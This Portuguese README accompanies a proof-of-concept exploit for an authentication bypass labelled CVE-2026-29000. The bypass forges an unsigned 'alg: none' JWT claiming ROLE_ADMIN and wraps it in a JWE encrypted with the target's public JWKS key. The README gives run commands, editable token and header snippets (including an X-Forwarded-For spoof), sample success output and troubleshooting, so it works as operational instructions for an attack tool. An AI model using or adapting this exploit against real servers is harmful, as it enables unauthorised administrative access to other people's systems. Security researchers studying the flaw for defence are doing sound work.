
PoC do CVE-2026-29000
Um script de prova de conceito (PoC) que demonstra uma vulnerabilidade de bypass de autenticação usando JSON Web Tokens (JWT) e JSON Web Encryption (JWE). Esta ferramenta explora ambientes que validam incorretamente os algoritmos de token ao aceitar JWTs não verificados (alg: none) encapsulados em uma estrutura JWE válida.
Esta cadeia de exploit aproveita uma falha comum de implementação criptográfica:
jwks (JSON Web Key Set) publicamente exposto do alvo e baixa a chave pública RSA do servidor.ROLE_ADMIN. Ele define intencionalmente o cabeçalho do algoritmo como "alg": "none".Authorization: Bearer. Se o servidor descriptografar o JWE e confiar cegamente no JWT interno sem verificar sua assinatura, o acesso é concedido.Antes de executar o script, certifique-se de ter o Python 3 instalado juntamente com as dependências necessárias.
pip install requests jwcrypto
O script requer dois argumentos: a URL do painel do alvo que você deseja testar e a URL onde as chaves públicas estão hospedadas.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
Dependendo do seu alvo, talvez seja necessário ajustar a estrutura do token ou as requisições HTTP para contornar filtros específicos.
Se o servidor alvo esperar campos específicos dentro do próprio JWT (como um cabeçalho typ, ou IDs de usuário personalizados no payload), você pode adicioná-los facilmente.
Abra o exploit.py e localize esta seção:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Você pode adicionar qualquer campo que quiser, separado por vírgulas. Por exemplo, para adicionar um typ (Tipo) e um kid (ID da Chave) ao cabeçalho do JWT, e um e-mail personalizado ao payload:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Se o seu alvo exigir cabeçalhos de rede específicos (como um User-Agent personalizado, cabeçalhos de bypass como X-Forwarded-For, ou chaves de API), localize a requisição de rede na parte inferior do script:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Adicione seus cabeçalhos de rede extras desta forma:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Nota: Se você também precisar que esses cabeçalhos sejam enviados durante o download inicial das chaves públicas, você pode passar esse mesmo dicionário para a chamada requests.get() no topo do script.
Quando bem-sucedido, o script exibirá o token forjado e a resposta analisada do endpoint restrito, comprovando o bypass:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
Erros HTTP 401/403: O servidor alvo está validando corretamente as assinaturas e rejeitando o payload alg: none. O exploit falhou porque o alvo é seguro.
Erros de Conexão: Certifique-se de que as URLs fornecidas incluam o esquema completo (http:// ou https://) e que o servidor alvo esteja atualmente acessível.
Erros de Dependência: Certifique-se de que o jwcrypto esteja instalado corretamente via pip.